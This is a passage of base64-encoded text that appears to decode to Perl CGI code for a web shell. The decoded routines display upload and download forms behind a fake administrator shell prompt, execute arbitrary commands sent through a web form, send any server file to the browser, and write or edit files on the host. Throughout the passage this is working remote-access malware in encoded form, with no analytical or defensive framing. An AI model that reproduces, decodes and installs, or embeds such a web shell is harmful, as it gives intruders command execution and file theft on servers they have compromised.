W5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQo